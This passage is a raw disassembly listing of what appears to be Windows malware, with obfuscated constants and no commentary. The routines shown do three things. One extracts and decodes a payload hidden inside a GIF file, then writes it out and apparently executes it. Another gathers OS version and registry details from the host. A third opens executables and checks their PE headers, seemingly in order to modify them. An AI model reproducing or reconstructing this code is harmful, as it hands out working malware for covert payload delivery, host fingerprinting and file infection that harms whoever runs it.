		sub	ecx, 0Dh
		cmp	edx, ecx
		jnz	short loc_41EE49
		movzx	eax, byte ptr ds:100101B0h[edi]
		push	eax
		push	dword ptr ds:1000E010h[edi*4]
		call	sub_41E5F5
		add	esp, 8
		and	dword ptr ds:1000F0E0h[edi*4], 0
		xor	eax, eax
		jmp	loc_41EF80
; ---------------------------------------------------------------------------


loc_41EE49:				; CODE XREF: .data:0041EE20j
		movzx	edx, word ptr ds:10010A10h[edi*2]
		mov	ecx, ds:10014208h
		add	ecx, 0FFF3h
		movsx	eax, word ptr ds:1001421Ch
		add	ecx, eax
		cmp	edx, ecx
		jnz	loc_41EF5B
		movsx	eax, word ptr ds:100140F8h
		movsx	edx, word ptr ds:10014180h
		add	eax, edx
		sub	eax, 6
		mov	[ebp-14h], eax
		jmp	loc_41EF44
; ---------------------------------------------------------------------------


loc_41EE89:				; CODE XREF: .data:0041EF51j
		mov	edx, [ebp-14h]
		mov	[ebp-18h], edx
		mov	ecx, edx
		shl	ecx, 2
		mov	[ebp-1Ch], ecx
		cmp	dword ptr ds:1000F0E0h[ecx], 0
		jz	loc_41EF41
		movzx	eax, word ptr ds:10010A10h[edx*2]
		movsx	edx, word ptr ds:10014144h
		movsx	ecx, word ptr ds:100140C4h
		lea	edx, [edx+ecx+0FFEDh]
		cmp	eax, edx
		jz	short loc_41EF41
		mov	edx, ds:1000E010h[edi*4]
		mov	ecx, [ebp-1Ch]
		cmp	ds:1000E010h[ecx], edx
		jnz	short loc_41EF41
		mov	edx, [ebp-18h]
		mov	dl, ds:100101B0h[edx]
		cmp	dl, ds:100101B0h[edi]
		jnz	short loc_41EF41
		mov	edx, [ebp-14h]
		movzx	edx, word ptr ds:10010A10h[edx*2]
		mov	ecx, ds:1001420Ch
		movsx	eax, word ptr ds:10014220h
		add	ecx, eax
		sub	ecx, 0Dh
		cmp	edx, ecx
		jnz	short loc_41EF32
		mov	edx, [ebp-14h]
		movzx	ecx, byte ptr ds:100101B0h[edx]
		push	ecx
		push	dword ptr ds:1000E010h[edx*4]
		call	sub_41E5F5
		add	esp, 8
		and	dword ptr ds:1000F0E0h[edi*4], 0
		jmp	short loc_41EF57
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: .data:0041EF0Bj
		mov	edx, [ebp-14h]
		lea	edx, ds:10010A10h[edx*2]
		dec	word ptr [edx]
		jmp	short loc_41EF57
; ---------------------------------------------------------------------------


loc_41EF41:				; CODE XREF: .data:0041EE9Fj
					; .data:0041EEC4j ...
		inc	dword ptr [ebp-14h]


loc_41EF44:				; CODE XREF: .data:0041EE84j
		mov	eax, ds:1001419Ch
		add	eax, 3DFh
		cmp	[ebp-14h], eax
		jb	loc_41EE89


loc_41EF57:				; CODE XREF: .data:0041EF30j
					; .data:0041EF3Fj
		xor	eax, eax
		jmp	short loc_41EF80
; ---------------------------------------------------------------------------


loc_41EF5B:				; CODE XREF: .data:0041EE68j
		movzx	edx, word ptr ds:10010A10h[edi*2]
		mov	ecx, ds:1001409Ch
		add	ecx, ds:10014118h
		sub	ecx, 6
		cmp	edx, ecx
		jle	short loc_41EF7E
		dec	word ptr ds:10010A10h[edi*2]


loc_41EF7E:				; CODE XREF: .data:0041EF74j
		xor	eax, eax


loc_41EF80:				; CODE XREF: .data:0041ED4Aj
					; .data:0041EE44j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF87	proc near		; CODE XREF: sub_41D8BA+211p
					; sub_41D8BA+223p

var_61DA0	= dword	ptr -61DA0h
var_61D9C	= dword	ptr -61D9Ch
var_61D98	= byte ptr -61D98h
var_61C99	= byte ptr -61C99h
var_61C98	= dword	ptr -61C98h
var_61C91	= byte ptr -61C91h
var_30F51	= byte ptr -30F51h
var_30F50	= dword	ptr -30F50h
var_30F4B	= byte ptr -30F4Bh
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D4C	= byte ptr -30D4Ch
var_30D47	= byte ptr -30D47h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
var_30D37	= byte ptr -30D37h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61DA0h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30F50], 0
		push	0
		movsx	eax, word ptr ds:10014114h
		movsx	edx, word ptr ds:10014204h
		add	eax, edx
		sub	eax, 0Fh
		push	eax
		push	3
		push	0
		movsx	eax, word ptr ds:10014194h
		sub	eax, 9
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	dword ptr ds:10013968h
		mov	[ebp+var_30E48], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41F437
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, ds:10014174h
		add	eax, 81h
		movsx	edx, word ptr ds:100140A0h
		add	eax, edx
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	dword ptr ds:1000D02Ch
		mov	[ebp+var_30E44], eax
		mov	eax, ds:10014208h
		movsx	edx, word ptr ds:10014098h
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_30E44], eax
		jz	loc_41F419
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_41F06C
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_41F06C
		cmp	[ebp+var_30E3D], 46h
		jnz	short loc_41F06C
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_41F06C
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_41F06C
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_41F071


loc_41F06C:				; CODE XREF: sub_41EF87+B6j
					; sub_41EF87+BFj ...
		jmp	loc_41F419
; ---------------------------------------------------------------------------


loc_41F071:				; CODE XREF: sub_41EF87+E3j
		movzx	eax, [ebp+var_30E15]
		mov	edx, ds:100141A0h
		add	edx, 3Bh
		cmp	eax, edx
		jnz	short loc_41F097
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_41F097
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_41F09C


loc_41F097:				; CODE XREF: sub_41EF87+FCj
					; sub_41EF87+105j
		jmp	loc_41F419
; ---------------------------------------------------------------------------


loc_41F09C:				; CODE XREF: sub_41EF87+10Ej
		or	ebx, ebx
		jnz	short loc_41F0CB
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_30F51], al
		call	sub_4213EC
		mov	edx, eax
		mov	[ebp+var_61C99], dl
		mov	al, [ebp+var_61C99]
		cmp	al, [ebp+var_30F51]
		jz	loc_41F419


loc_41F0CB:				; CODE XREF: sub_41EF87+117j
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C91]
		push	eax
		push	[ebp+var_30E48]
		call	dword ptr ds:1000D02Ch
		mov	[ebp+var_30E44], eax
		mov	eax, ds:10014140h
		movsx	edx, word ptr ds:10014180h
		add	eax, edx
		sub	eax, 0Eh
		cmp	[ebp+var_30E44], eax
		jz	loc_41F419
		mov	eax, [ebp+var_30E4C]
		movsx	edx, word ptr ds:100140B4h
		add	edx, ds:10014218h
		sub	edx, 0Dh
		mov	[ebp+eax+var_61C91], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C91]
		push	eax
		call	sub_41BB4B
		add	esp, 0Ch
		mov	esi, eax
		mov	eax, ds:10014244h
		mov	edi, eax
		add	edi, ds:100140ECh
		sub	edi, 0Fh
		jmp	short loc_41F1A0
; ---------------------------------------------------------------------------


loc_41F15B:				; CODE XREF: sub_41EF87+21Bj
		or	ebx, ebx
		jz	short loc_41F172
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_41F19F
; ---------------------------------------------------------------------------


loc_41F172:				; CODE XREF: sub_41EF87+1D6j
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61D9C], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA0], eax
		mov	eax, [ebp+var_61D9C]
		mov	edx, [ebp+var_61DA0]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_41F19F:				; CODE XREF: sub_41EF87+1E9j
		inc	edi


loc_41F1A0:				; CODE XREF: sub_41EF87+1D2j
		cmp	edi, esi
		jb	short loc_41F15B
		or	ebx, ebx
		jz	short loc_41F1D4
		mov	eax, ds:10014224h
		movsx	edx, word ptr ds:10014120h
		add	eax, edx
		sub	eax, 0Dh
		mov	edx, esi
		sub	edx, eax
		movsx	eax, word ptr ds:1001412Ch
		add	eax, ds:100140D4h
		sub	eax, 8
		mov	[ebp+edx+var_30D40], al


loc_41F1D4:				; CODE XREF: sub_41EF87+21Fj
		mov	eax, ds:1001415Ch
		add	eax, 7Dh
		add	eax, ds:100141F8h
		mov	edx, ds:1001417Ch
		sub	edx, 9
		mov	[ebp+eax+var_30E3F], dl
		push	0FFh
		lea	eax, [ebp+var_61D98]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_41BB4B
		lea	eax, [ebp+var_61D98]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41F4A9
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, ds:100140A8h
		sub	eax, 4
		cmp	[ebp+var_30E44], eax
		jnz	loc_41F419
		mov	[ebp+var_30F50], 1
		or	ebx, ebx
		jz	loc_41F379
		mov	eax, ds:100140FCh
		cmp	[ebp+eax+var_30D47], 64h
		jnz	loc_41F2E6
		movzx	eax, [ebp+var_30D3F]
		mov	edx, ds:10014108h
		add	edx, 10h
		movsx	ecx, word ptr ds:100140F4h
		add	edx, ecx
		sub	eax, edx
		mov	byte ptr [ebp+var_61D9C+3], al
		movzx	eax, byte ptr [ebp+var_61D9C+3]
		push	eax
		push	0
		call	sub_4210C1
		mov	eax, ds:100140DCh
		mov	ds:100105D0h, eax
		movsx	eax, word ptr ds:100140B8h
		sub	eax, 9
		mov	ds:1001431Ch, eax
		movsx	eax, word ptr ds:100140C4h
		mov	edx, ds:100140ECh
		add	edx, ds:100140ACh
		sub	edx, 0Bh
		mov	[ebp+eax+var_30D47], dl
		movsx	eax, word ptr ds:10014180h
		add	eax, ds:10014178h
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_4214DC
		add	esp, 10h


loc_41F2E6:				; CODE XREF: sub_41EF87+2D3j
		mov	eax, ds:10014188h
		add	eax, ds:100141BCh
		cmp	[ebp+eax+var_30D4C], 67h
		jnz	loc_41F419
		mov	eax, ds:100141E4h
		mov	edx, ds:10014100h
		add	edx, ds:100141B0h
		sub	edx, 0Eh
		mov	[ebp+eax+var_30D37], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	dword ptr ds:1000E008h
		mov	[ebp+var_61D9C], eax
		push	eax
		push	10013850h
		call	sub_423599
		mov	eax, ds:10014100h
		sub	eax, 7
		mov	ds:100105D0h, eax
		movsx	eax, word ptr ds:100140F8h
		add	eax, ds:1001414Ch
		sub	eax, 9
		mov	ds:1001431Ch, eax
		movsx	eax, word ptr ds:100140C4h
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_4214DC
		add	esp, 14h
		jmp	loc_41F419
; ---------------------------------------------------------------------------


loc_41F379:				; CODE XREF: sub_41EF87+2C0j
		movsx	eax, word ptr ds:100141C0h
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	sub_4240DE
		push	10015359h
		call	sub_41B08F
		push	eax
		lea	edx, [ebp+var_30F4B]
		push	edx
		call	dword ptr ds:1000D024h
		push	0
		push	80h
		push	2
		push	0
		push	dword ptr ds:10014240h
		push	40000000h
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	dword ptr ds:10013968h
		mov	[ebp+var_61C98], eax
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C98]
		call	dword ptr ds:10013D6Ch
		push	[ebp+var_61C98]
		call	dword ptr ds:1001282Ch
		push	5
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	dword ptr ds:10010094h
		movzx	eax, [ebp+var_30F51]
		push	eax
		call	sub_4222D8
		add	esp, 18h


loc_41F419:				; CODE XREF: sub_41EF87+A9j
					; sub_41EF87:loc_41F06Cj ...
		push	[ebp+var_30E48]
		call	dword ptr ds:1001282Ch
		cmp	[ebp+var_30F50], 0
		jz	short loc_41F437
		push	[ebp+arg_0]
		call	dword ptr ds:1000D008h


loc_41F437:				; CODE XREF: sub_41EF87+56j
					; sub_41EF87+4A5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF87	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41F43F:				; CODE XREF: .data:0041F466j
		call	sub_41AB71
		movsx	eax, word ptr ds:1001412Ch
		add	eax, 70h
		movsx	edx, word ptr ds:100140E8h
		add	edx, 0EA5Ch
		imul	eax, edx
		push	eax
		call	dword ptr ds:1001380Ch
		pop	ecx
		jmp	short loc_41F43F
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+10h]
		mov	eax, 10002B6Dh
		mov	[esi+0B8h], eax
		mov	eax, [ebp+0Ch]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F48F	proc near		; CODE XREF: sub_41F4A9+C8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	100142DCh
		push	1001429Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_425315
		pop	ebp
		retn
sub_41F48F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4A9	proc near		; CODE XREF: sub_41EF87+292p

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_41F4C0
		add	eax, 3Fh


loc_41F4C0:				; CODE XREF: sub_41F4A9+12j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		call	sub_41AB52
		pop	ecx
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		mov	edx, ds:100141CCh
		add	edx, 3Fh
		mov	eax, edi
		add	eax, edx
		jge	short loc_41F4E7
		add	eax, 3Fh


loc_41F4E7:				; CODE XREF: sub_41F4A9+39j
		sar	eax, 6
		mov	edi, ds:1001409Ch
		add	edi, 3Bh
		add	edi, ds:100140A8h
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	dword ptr ds:1000D030h
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	dword ptr ds:10012808h
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425453
		mov	esi, [ebp+var_14]
		movsx	ebx, word ptr ds:10014210h
		sub	ebx, 6
		jmp	short loc_41F546
; ---------------------------------------------------------------------------


loc_41F530:				; CODE XREF: sub_41F4A9+B7j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42547A
		mov	eax, ds:10014184h
		add	eax, 3Fh
		lea	esi, [esi+eax]
		inc	ebx


loc_41F546:				; CODE XREF: sub_41F4A9+85j
		mov	edi, [ebp+arg_4]
		mov	edx, ds:10014214h
		add	edx, 3Fh
		mov	eax, edi
		add	eax, edx
		jge	short loc_41F55B
		add	eax, 3Fh


loc_41F55B:				; CODE XREF: sub_41F4A9+ADj
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_41F530
		push	[ebp+var_14]
		call	sub_41E431
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_41F48F
		movsx	eax, word ptr ds:10014228h
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	dword ptr ds:10013828h
		add	esp, 18h
		mov	edi, ds:10014134h
		sub	edi, 4
		cmp	eax, edi
		jz	short loc_41F5A4
		xor	eax, eax
		inc	eax
		jmp	short loc_41F5A6
; ---------------------------------------------------------------------------


loc_41F5A4:				; CODE XREF: sub_41F4A9+F4j
		xor	eax, eax


loc_41F5A6:				; CODE XREF: sub_41F4A9+F9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F5AB	proc near		; CODE XREF: sub_4229B3+165p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:1001421Ch
		add	eax, ds:100140D0h
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_4210C1
		add	esp, 8
		mov	edi, ds:10014170h
		sub	edi, 5
		jmp	short loc_41F600
; ---------------------------------------------------------------------------


loc_41F5E6:				; CODE XREF: sub_41F5AB+5Bj
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_41F5FF
		mov	eax, ds:10014158h
		sub	eax, 8
		mov	[ebp+edi+var_FFF], al


loc_41F5FF:				; CODE XREF: sub_41F5AB+43j
		inc	edi


loc_41F600:				; CODE XREF: sub_41F5AB+39j
		cmp	edi, 0FFFh
		jb	short loc_41F5E6
		lea	esi, [ebp+var_FFF]


loc_41F60E:				; CODE XREF: sub_41F5AB+EBj
		push	10015355h
		call	sub_41B08F
		push	1000EFD0h
		mov	ebx, ds:10014198h
		add	ebx, ds:10014238h
		sub	ebx, 12h
		push	ebx
		mov	ebx, ds:100140D0h
		dec	ebx
		push	ebx
		push	eax
		push	dword ptr ds:1001415Ch
		push	0
		push	esi
		push	[ebp+arg_0]
		mov	ebx, ds:100141C4h
		inc	ebx
		add	ebx, ds:1001410Ch
		and	ebx, 0FFh
		push	ebx
		call	sub_41C00F
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41F663:				; CODE XREF: sub_41F5AB+BDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41F663
		movsx	edx, word ptr ds:10014144h
		add	edx, ds:1001422Ch
		sub	edx, 0Ch
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		mov	edx, ds:10014238h
		add	edx, ds:10014100h
		sub	edx, 10h
		cmp	eax, edx
		jnz	loc_41F60E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F5AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F6A1	proc near		; CODE XREF: sub_41E931+E1p

var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_1A0		= byte ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_193		= dword	ptr -193h
var_18F		= dword	ptr -18Fh
var_18B		= dword	ptr -18Bh
var_187		= dword	ptr -187h
var_183		= dword	ptr -183h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	byte ptr [edi],	0
		mov	[ebp+var_193], 94h
		lea	eax, [ebp+var_193]
		push	eax
		call	dword ptr ds:10013D78h
		cmp	[ebp+var_183], 1
		jnz	short loc_41F6E8
		push	1001534Fh
		call	sub_41B08F
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		add	esp, 0Ch


loc_41F6E8:				; CODE XREF: sub_41F6A1+30j
		cmp	[ebp+var_183], 2
		jnz	short loc_41F706
		push	10015349h
		call	sub_41B08F
		push	eax
		push	edi
		call	dword ptr ds:10013810h
		add	esp, 0Ch


loc_41F706:				; CODE XREF: sub_41F6A1+4Ej
		push	1001533Dh
		call	sub_41B08F
		push	[ebp+var_187]
		push	[ebp+var_18B]
		push	[ebp+var_18F]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	dword ptr ds:10013810h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		push	10015336h
		call	sub_41B08F
		movsx	ebx, word ptr ds:1001421Ch
		movsx	edx, word ptr ds:1001411Ch
		add	ebx, edx
		sub	ebx, 0Ah
		push	ebx
		push	0
		lea	ebx, [ebp+var_1A0]
		push	ebx
		lea	ebx, [ebp+var_1A0]
		push	ebx
		lea	ebx, [ebp+var_19C]
		push	ebx
		push	0FFh
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		call	dword ptr ds:100137E4h
		push	1001532Eh
		call	sub_41B08F
		push	[ebp+var_19C]
		push	eax
		lea	ebx, [ebp+var_FF]
		push	ebx
		call	dword ptr ds:10013810h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		movsx	eax, word ptr ds:10014148h
		add	eax, ds:100141D4h
		sub	eax, 2
		push	eax
		push	400h
		call	dword ptr ds:100105A8h
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		push	10015329h
		call	sub_41B08F
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		mov	[ebp+var_198], 0FFh
		push	100152FCh
		call	sub_41B08F
		mov	[ebp+var_1A8], eax
		push	100152EFh
		call	sub_41B08F
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1A8]
		push	ebx
		push	80000002h
		call	sub_424B0F
		add	esp, 70h
		mov	esi, eax
		mov	eax, ds:100141D8h
		sub	eax, 2
		cmp	esi, eax
		jnz	short loc_41F869
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		add	esp, 8
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------


loc_41F869:				; CODE XREF: sub_41F6A1+1B3j
		mov	[ebp+var_198], 0FFh
		push	100152BFh
		call	sub_41B08F
		mov	[ebp+var_1AC], eax
		push	100152B2h
		call	sub_41B08F
		lea	ebx, [ebp+var_1A4]
		push	ebx
		lea	ebx, [ebp+var_198]
		push	ebx
		lea	ebx, [ebp+var_FF]
		push	ebx
		push	eax
		mov	ebx, [ebp+var_1AC]
		push	ebx
		push	80000002h
		call	sub_424B0F
		add	esp, 20h
		mov	esi, eax
		mov	eax, ds:10014240h
		inc	eax
		cmp	esi, eax
		jnz	short loc_41F8D4
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	dword ptr ds:1000D024h
		add	esp, 8


loc_41F8D4:				; CODE XREF: sub_41F6A1+1C6j
					; sub_41F6A1+220j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F6A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8D9	proc near		; CODE XREF: sub_423806+1BFp

var_32016	= byte ptr -32016h
var_32014	= dword	ptr -32014h
var_32010	= dword	ptr -32010h
var_3200B	= byte ptr -3200Bh
var_31F5C	= dword	ptr -31F5Ch
var_31F58	= dword	ptr -31F58h
var_31F54	= dword	ptr -31F54h
var_31F50	= dword	ptr -31F50h
var_31F4C	= dword	ptr -31F4Ch
var_31F48	= dword	ptr -31F48h
var_31F44	= dword	ptr -31F44h
var_31F40	= dword	ptr -31F40h
var_31F3C	= dword	ptr -31F3Ch
var_31F38	= dword	ptr -31F38h
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= dword	ptr -31ED8h
var_31ED4	= byte ptr -31ED4h
var_31EC7	= byte ptr -31EC7h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= dword	ptr -1180h
var_117C	= dword	ptr -117Ch
var_1178	= dword	ptr -1178h
var_1174	= dword	ptr -1174h
var_116F	= byte ptr -116Fh
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32014h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31EC7]
		push	eax
		call	dword ptr ds:10012808h
		add	esp, 0Ch
		movsx	eax, word ptr ds:1001423Ch
		add	eax, ds:10014188h
		sub	eax, 0Eh
		mov	[ebp+var_31EE0], eax


loc_41F915:				; CODE XREF: sub_41F8D9+9Bj
		push	0
		movsx	eax, word ptr ds:10014130h
		sub	eax, 2
		push	eax
		push	3
		push	0
		movsx	eax, word ptr ds:100140B8h
		sub	eax, 9
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	dword ptr ds:10013968h
		mov	[ebp+var_1070],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F97D
		inc	[ebp+var_31EE0]
		movsx	eax, word ptr ds:10014180h
		movsx	edx, word ptr ds:100140A0h
		add	eax, edx
		sub	eax, 5
		cmp	[ebp+var_31EE0], eax
		jnz	short loc_41F976
		push	[ebp+arg_0]
		call	sub_41B754
		pop	ecx
		jmp	short loc_41F915
; ---------------------------------------------------------------------------


loc_41F976:				; CODE XREF: sub_41F8D9+90j
		xor	eax, eax
		jmp	loc_420DE7
; ---------------------------------------------------------------------------


loc_41F97D:				; CODE XREF: sub_41F8D9+6Fj
		push	0
		push	[ebp+var_1070]
		call	dword ptr ds:100137F8h
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	dword ptr ds:100109ECh
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	dword ptr ds:1000D02Ch
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EDC]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_420DD0
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_420DD0
		mov	eax, [ebp+var_8]
